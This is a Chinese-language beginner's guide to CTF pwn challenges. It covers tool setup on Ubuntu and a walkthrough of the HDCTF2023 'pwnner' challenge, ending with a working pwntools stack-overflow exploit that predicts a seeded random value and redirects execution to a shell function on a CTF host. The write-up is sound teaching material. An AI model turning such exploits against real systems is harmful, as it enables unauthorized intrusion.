pwn入门指北

文章发布时间:

最后更新时间:

To all begin pwnner

什么是Pwn
“Pwn”是一个拟声词,代表着攻破,获取权限,由”own”一次引申而来。在CTF比赛中,一道pwn题通常会给解题者提供二进制文件,一个靶机。解题者需要通过对二进制文件进行逆向分析,找到其中的漏洞并对漏洞加以利用,最终实现对靶机的提权(简单pwn题的解题详见真.入门之一道pwn题)。

学Pwn能学到什么
1.亿点点的逆向工程。大部分Pwn题都要求先对二进制文件进行逆向分析,掌握一定的逆向技巧是必不可少的。同CTF中的reverse侧重于算法稍有不同,Pwn题的逆向侧重于漏洞的发现与利用。
2.C语言与汇编语言以及python。阅读二进制文件反汇编出的汇编代码与反编译后的伪代码需要有一定的C语言与汇编语言基础。漏洞利用所常用的pwntools库的使用需要一丢丢的python编程基础。
3.数据结构与操作系统。CTF中的Pwn题一般涉及栈溢出、堆溢出等漏洞,要求解题者对数据结构有比较深的理解。同时,由于Pwn靶机一般是Linux系统的靶机,二进制文件也在Linux环境下编译运行,因此,学会熟练使用、深入理解Linux系统是每个Pwn解题者的必修课。
学Pwn需要有的心理准备
1.自学拉满:本队伍没有强Pwn手,手把手教学什么的应该没有。Pwn涉及的计算机底层知识较多,需要你深入学习并理解。
2.坐牢准备:Pwn所需的前置知识比较多,0基础入门者可能很久都解不了什么题
3.做好准备跟真正的爷爷竞争。

真.入门之环境配置
如果你准备好踏入Pwn的大门,我们先从环境配置开始吧
https://mirrors.tuna.tsinghua.edu.cn/
在这里找个纯净的Ubuntu镜像文件,18.04到22.04之间的都可以(建议不要用kali,用来做过渡可以,但是会有些问题;22.04以上太新,也会有问题。存储空间富有者当我没说),先搭建起自己的虚拟机吧。
这里说说原因哈,python的pwntools在Windows环境下运行会有些问题,此外当你自己研究时也需要用到Linux环境。
https://mirrors.tuna.tsinghua.edu.cn/help/ubuntu/看这里换源
更新

1
2
sudo apt update &&sudo apt upgrade -y
sudo apt install python3

(ps:以下安装过程中会下载所需的依赖,比较吃网络环境,如果不成功可以多试几次)
装pip

1
sudo apt install pip

装pwntools,这个库非常有用,是你的左膀右臂(很重要,最好有时间能精读它的手册)

1
pip install pwntools

装git,这个用来下github上的东西

1
sudo apt install git

装pwndbg,这个是gdb的插件,在调试方面能给你很大帮助(调试方法请自学,很重要)
先装四个库不然会报错(主要是linux下64位和32位的环境)

1
2
3
4
5
6
7
8
9
sudo apt-get install libffi-dev
sudo apt-get install libssl-dev
sudo apt install libc6-dev-i386
sudo apt-get install lib32z1
cd Desktop
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
cd ..

装ROPgadget,这个工具能帮你找到二进制文件中可用的gadget,也可以直接对静态编译的二进制文件生成ROP链

1
2
3
4
sudo apt-get install python-capstone
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo -H python3 setup.py install

one_gadget,这个工具能帮你找到一些危险的可以加以利用的汇编片段

1
2
sudo apt-get install ruby ruby-dev
sudo gem install one_gadget

seccomp-tools,这个工具是查sandbox用的

1
2
sudo apt install gcc ruby-dev
gem install seccomp-tools

真.入门之一道pwn题
以下是一道pwn题,不是最简单的,但是很好地展现了pwn手解题的过程,因此放在这里
【HDCTF2023】pwnner
考点:已知种子随机数预测+简单栈溢出覆盖返回地址
查个保护先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(str1d3r㉿str1k3Gwindows)-[~/Desktop]
└─$ checksec pwnner
[*] '/Desktop/pwnner'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

开了NX,不能直接在栈上执行shellcode(各类保护是需要知道的)

进IDA,看vuln函数,F5反编译,发现需要经过一次输入随机数的判断才能到达漏洞执行处,由于程序给了随机数种子(伪随机),我们可以通过直接在本地生成一个随机数来通过验证,到达漏洞所在处完成利用

```c
__int64 vuln()
{
int v0; // ebx
char buf[16]; // [rsp+0h] [rbp-50h] BYREF
char v3[64]; // [rsp+10h] [rbp-40h] BYREF

srand(0x39u); //种子为0x39的随机数生成
puts("you should prove that you love pwn,so input your name:");
read(0, buf, 0x10uLL); //存在溢出
v0 = atoi(buf);
if ( v0 == rand() )
{
puts("ok,you have a little cognition about pwn,so what will you do next?");
read(0, v3, 0x100uLL);
}
else
{
puts("sorry,you are not a real pwnner");
}
return 0LL;
}

又发现:
getshell函数内直接有system(‘/bin/sh’),所以思路如下
先通过随机数预测,再利用溢出点覆盖函数返回地址,跳到getshell函数成功getshell
随机数预测脚本:

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <stdio.h>
#include <time.h>

int main(){

srand(0x39u);
int v4 = rand();
printf("%d, ",v4);
}

注意的是因为靶机也是Linux系统,所以该脚本需要由Linux系统编译运行
直接贴脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*       #引入pwntools库
elf=ELF('./pwnner')
context.log_level = 'debug' #这个能看到回显
p = remote('node1.anna.nssctf.cn',28090)#链接靶机

p.recvuntil('you should prove that you love pwn,so input your name:')
p.send(b'1956681178') #通过随机数检验

payload = b'a'*64+b'b'*8+p64(0x4008b2)
#填充垃圾数据,覆盖8位的返回地址,再跳转到getshell函数获得shell
p.send(payload) #发送payload
p.interactive() #交互

成功拿到shell